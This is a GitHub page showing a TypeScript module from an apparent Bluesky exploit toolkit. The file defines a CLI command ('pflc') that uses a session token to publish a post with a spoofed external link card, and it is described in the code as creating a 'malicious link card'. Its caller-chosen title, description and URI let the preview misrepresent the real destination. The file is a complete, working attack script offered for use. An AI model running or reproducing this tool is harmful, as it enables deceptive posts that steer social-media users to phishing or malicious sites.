-
Notifications
You must be signed in to change notification settings - Fork 6
/
post-fake-link-card.ts
51 lines (47 loc) · 1.54 KB
/
post-fake-link-card.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import { createRecord } from '../helpers/Records';
import { getSession } from '../helpers/Session';
import { ExploitModule } from '../lib/CommandModules';
import { Post } from '../lib/bsky/Post';
export async function postFakeLinkCard(
authToken: string,
text: string,
title: string,
description: string,
uri: string
): Promise<void> {
const session = await getSession(authToken);
const post: Post = {
$type: 'app.bsky.feed.post',
createdAt: new Date().toISOString(),
text: text,
embed: {
$type: 'app.bsky.embed.external',
external: { title: title, description: description, uri: uri },
},
};
const record = await createRecord(authToken, session.did, 'app.bsky.feed.post', post);
if (record.cid && record.uri) {
console.log(`Success! cid=${record.cid}, uri=${record.uri}}`);
}
}
const commandModule: ExploitModule<{
post: string;
title: string;
description: string;
uri: string;
}> = {
command: 'pflc',
describe: 'Create post with malicious link card.',
builder: (args) => {
return args.options({
post: { desc: 'Post text.', type: 'string', demandOption: true },
title: { desc: 'Link card title.', type: 'string', demandOption: true },
description: { desc: 'Link card description.', type: 'string', demandOption: true },
uri: { desc: 'Link card URI.', type: 'string', demandOption: true },
});
},
handler: async (argv) => {
await postFakeLinkCard(argv.authToken, argv.post, argv.title, argv.description, argv.uri);
},
};
export { commandModule as command };